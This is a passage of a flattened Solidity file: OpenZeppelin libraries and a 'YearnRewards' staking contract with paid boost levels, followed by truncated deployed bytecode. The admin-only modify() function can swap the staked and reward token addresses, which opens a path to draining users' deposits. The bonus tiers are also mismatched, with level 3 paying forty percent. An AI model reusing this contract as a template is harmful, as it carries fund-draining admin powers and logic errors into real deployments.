* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Token to be staked
IERC20 public bpt = IERC20(address(0));
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
bpt.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
bpt.safeTransfer(msg.sender, amount);
}
function setBPT(address BPTAddress) internal {
bpt = IERC20(BPTAddress);
}
}
interface Multiplier {
function getTotalMultiplier(address account) external view returns (uint256);
}
interface CalculateCycle {
function calculate(uint256 deployedTime,uint256 currentTime,uint256 duration) external view returns(uint256);
}
contract YearnRewards is LPTokenWrapper, IRewardDistributionRecipient {
// Token to be rewarded
IERC20 public yfi = IERC20(address(0));
Multiplier public multiplier = Multiplier(address(0));
CalculateCycle public calculateCycle = CalculateCycle(address(0));
address public devfund = 0xB8b485b42A456Df5201EAa86565614c40bA7fb4E;
uint256 public DURATION;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public deployedTime;
uint256 public constant napsDiscountRange = 8 hours;
uint256 public constant napsLevelOneCost = 1000000000000000000000;
uint256 public constant napsLevelTwoCost = 2000000000000000000000;
uint256 public constant napsLevelThreeCost = 3000000000000000000000;
uint256 public constant TenPercentBonus = 1 * 10 ** 17;
uint256 public constant TwentyPercentBonus = 2 * 10 ** 17;
uint256 public constant ThirtyPercentBonus = 3 * 10 ** 17;
uint256 public constant FourtyPercentBonus = 4 * 10 ** 17;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public spentNAPS;
mapping(address => uint256) public NAPSlevel;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Boost(uint256 level);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address rewardToken,address stakingToken,address calculateCycleAddr,address multiplierAddr) public{
setBPT(stakingToken);
yfi = IERC20(rewardToken);
calculateCycle = CalculateCycle(calculateCycleAddr);
multiplier = Multiplier(multiplierAddr);
DURATION = 10 weeks;
deployedTime = block.timestamp;
}
function modify(address rewardToken,address stakingToken,uint256 duration) external onlyRewardDistribution {
setBPT(stakingToken);
yfi = IERC20(rewardToken);
DURATION = duration;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.mul(getTotalMultiplier(account))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
yfi.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
function setCycleContract(address _cycleContract) public onlyRewardDistribution {
calculateCycle = CalculateCycle(_cycleContract);
}
function setDevfund(address _devfund) public onlyRewardDistribution {
devfund = _devfund;
}
// naps stuff
function getLevel(address account) external view returns (uint256) {
return NAPSlevel[account];
}
function getSpent(address account) external view returns (uint256) {
return spentNAPS[account];
}
// Returns the number of naps token to boost
function calculateCost(uint256 level) public view returns(uint256) {
uint256 cycles = calculateCycle.calculate(deployedTime,block.timestamp,napsDiscountRange);
// Cap it to 5 times
if(cycles > 5) {
cycles = 5;
}
// // cost = initialCost * (0.9)^cycles = initial cost * (9^cycles)/(10^cycles)
if (level == 1) {
return napsLevelOneCost.mul(9 ** cycles).div(10 ** cycles);
}else if(level == 2) {
return napsLevelTwoCost.mul(9 ** cycles).div(10 ** cycles);
}else if(level ==3) {
return napsLevelThreeCost.mul(9 ** cycles).div(10 ** cycles);
}
}
function purchase(uint256 level) external {
require(NAPSlevel[msg.sender] <= level,"Cannot downgrade level or same level");
uint256 cost = calculateCost(level);
uint256 finalCost = cost.sub(spentNAPS[msg.sender]);
// Owner dev fund
yfi.safeTransferFrom(msg.sender,devfund,finalCost);
spentNAPS[msg.sender] = spentNAPS[msg.sender].add(finalCost);
NAPSlevel[msg.sender] = level;
emit Boost(level);
}
function setMultiplierAddress(address multiplierAddress) external onlyRewardDistribution {
multiplier = Multiplier(multiplierAddress);
}
function getTotalMultiplier(address account) public view returns (uint256) {
uint256 zzzMultiplier = multiplier.getTotalMultiplier(account);
uint256 napsMultiplier = 0;
if(NAPSlevel[account] == 1) {
napsMultiplier = TenPercentBonus;
}else if(NAPSlevel[account] == 2) {
napsMultiplier = TwentyPercentBonus;
}else if(NAPSlevel[account] == 3) {
napsMultiplier = FourtyPercentBonus;
}
return zzzMultiplier.add(napsMultiplier).add(1*10**18);
}
} | 0x608060405234801561001057600080fd5b50600436106102945760003560e01c806388497d4511610167578063cfa7e4e8116100ce578063e458183811610087578063e458183814610b6b578063e9fad8ee14610baf578063ebe2b12b14610bb9578063efef39a114610bd7578063f2fde38b14610c05578063fd85217714610c4957610294565b8063cfa7e4e8146109f1578063d284957114610a35578063df136d6514610a53578063df2671cf14610a71578063e14b441a14610ac9578063e310fa5d14610b2157610294565b8063a496382911610120578063a4963829146108cd578063a694fc3a146108eb578063b0c6678614610919578063c8f33c9114610971578063cd3daf9d1461098f578063cd980c8a146109ad57610294565b806388497d45146107575780638b876347146107a15780638d8f1e67146107f95780638da5cb5b146108435780638f32d59b1461088d57806395ae60e8146108af57610294565b806345af6df81161020b578063715018a6116101c4578063715018a61461062d5780637b0a47ee146106375780637f15a21c1461065557806380faa57d146106c3578063817c8966146106e1578063868d4b8c1461073957610294565b806345af6df8146104ef578063460889f71461050d578063461ac0191461052b5780634af18f4f14610549578063546af3c31461058b57806370a08231146105d557610294565b80631b3ed7221161025d5780631b3ed722146104035780631be052891461044d57806322cfa35a1461046b5780632e1a7d4d146104895780633c6b16ab146104b75780633d18b912146104e557610294565b80628cc262146102995780630700037d146102f15780630d68b7611461034957806318160ddd1461038d578063198c0c59146103ab575b600080fd5b6102db600480360360208110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c67565b6040518082815260200191505060405180910390f35b6103336004803603602081101561030757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d82565b6040518082815260200191505060405180910390f35b61038b6004803603602081101561035f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9a565b005b610395610e58565b6040518082815260200191505060405180910390f35b6103ed600480360360208110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e62565b6040518082815260200191505060405180910390f35b61040b610e7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610455610ea0565b6040518082815260200191505060405180910390f35b610473610ea6565b6040518082815260200191505060405180910390f35b6104b56004803603602081101561049f57600080fd5b8101908080359060200190929190505050610eb3565b005b6104e3600480360360208110156104cd57600080fd5b8101908080359060200190929190505050611068565b005b6104ed6112e2565b005b6104f76114c1565b6040518082815260200191505060405180910390f35b6105156114cd565b6040518082815260200191505060405180910390f35b6105336114da565b6040518082815260200191505060405180910390f35b6105756004803603602081101561055f57600080fd5b81019080803590602001909291905050506114e0565b6040518082815260200191505060405180910390f35b61059361168b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610617600480360360208110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b0565b6040518082815260200191505060405180910390f35b6106356116f9565b005b61063f611834565b6040518082815260200191505060405180910390f35b6106c16004803603606081101561066b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061183a565b005b6106cb61193d565b6040518082815260200191505060405180910390f35b610723600480360360208110156106f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611950565b6040518082815260200191505060405180910390f35b610741611999565b6040518082815260200191505060405180910390f35b61075f61199f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107e3600480360360208110156107b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c5565b6040518082815260200191505060405180910390f35b6108016119dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61084b611a03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610895611a2d565b604051808215151515815260200191505060405180910390f35b6108b7611a8c565b6040518082815260200191505060405180910390f35b6108d5611a98565b6040518082815260200191505060405180910390f35b6109176004803603602081101561090157600080fd5b8101908080359060200190929190505050611aa4565b005b61095b6004803603602081101561092f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c59565b6040518082815260200191505060405180910390f35b610979611c71565b6040518082815260200191505060405180910390f35b610997611c77565b6040518082815260200191505060405180910390f35b6109ef600480360360208110156109c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d0f565b005b610a3360048036036020811015610a0757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e00565b005b610a3d611ef1565b6040518082815260200191505060405180910390f35b610a5b611efe565b6040518082815260200191505060405180910390f35b610ab360048036036020811015610a8757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f04565b6040518082815260200191505060405180910390f35b610b0b60048036036020811015610adf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612124565b6040518082815260200191505060405180910390f35b610b2961216d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610bad60048036036020811015610b8157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612193565b005b610bb7612284565b005b610bc161229f565b6040518082815260200191505060405180910390f35b610c0360048036036020811015610bed57600080fd5b81019080803590602001909291905050506122a5565b005b610c4760048036036020811015610c1b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612526565b005b610c516125ac565b6040518082815260200191505060405180910390f35b6000610d7b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d6d670de0b6b3a7640000610d5f610cc487611f04565b610d51670de0b6b3a7640000610d43610d2c600f60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d1e611c77565b6125b890919063ffffffff16565b610d358c6116b0565b61260290919063ffffffff16565b61268890919063ffffffff16565b61260290919063ffffffff16565b61268890919063ffffffff16565b6126d290919063ffffffff16565b9050919050565b60106020528060005260406000206000915090505481565b610da2611a2d565b610e14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600154905090565b60116020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b68a2a15d09519be0000081565b33610ebc611c77565b600d81905550610eca61193d565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f9757610f0d81610c67565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000821161100d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b6110168261275a565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110a9612859565b73ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061313f6021913960400191505060405180910390fd5b600061111f611c77565b600d8190555061112d61193d565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146111fa5761117081610c67565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a544210611223576112186009548361268890919063ffffffff16565b600b81905550611285565b600061123a42600a546125b890919063ffffffff16565b90506000611253600b548361260290919063ffffffff16565b905061127c60095461126e83876126d290919063ffffffff16565b61268890919063ffffffff16565b600b8190555050505b42600c819055506112a1600954426126d290919063ffffffff16565b600a819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15050565b336112eb611c77565b600d819055506112f961193d565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113c65761133c81610c67565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006113d133610c67565b905060008111156114bd576000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146e3382600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166128619092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b5050565b67058d15e17628000081565b683635c9adc5dea0000081565b600e5481565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e97cf883600e54426170806040518463ffffffff1660e01b815260040180848152602001838152602001828152602001935050505060206040518083038186803b15801561156a57600080fd5b505afa15801561157e573d6000803e3d6000fd5b505050506040513d602081101561159457600080fd5b8101908080519060200190929190505050905060058111156115b557600590505b60018314156115fa576115f281600a0a6115e48360090a683635c9adc5dea0000061260290919063ffffffff16565b61268890919063ffffffff16565b915050611686565b600283141561163f5761163781600a0a6116298360090a686c6b935b8bbd40000061260290919063ffffffff16565b61268890919063ffffffff16565b915050611686565b60038314156116845761167c81600a0a61166e8360090a68a2a15d09519be0000061260290919063ffffffff16565b61268890919063ffffffff16565b915050611686565b505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611701611a2d565b611773576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661187b612859565b73ffffffffffffffffffffffffffffffffffffffff16146118e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061313f6021913960400191505060405180910390fd5b6118f082612932565b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600981905550505050565b600061194b42600a54612975565b905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61708081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f6020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a70612859565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b670429d069189e000081565b6702c68af0bb14000081565b33611aad611c77565b600d81905550611abb61193d565b600c81905550600073ffffffffffffffffffffffffffffff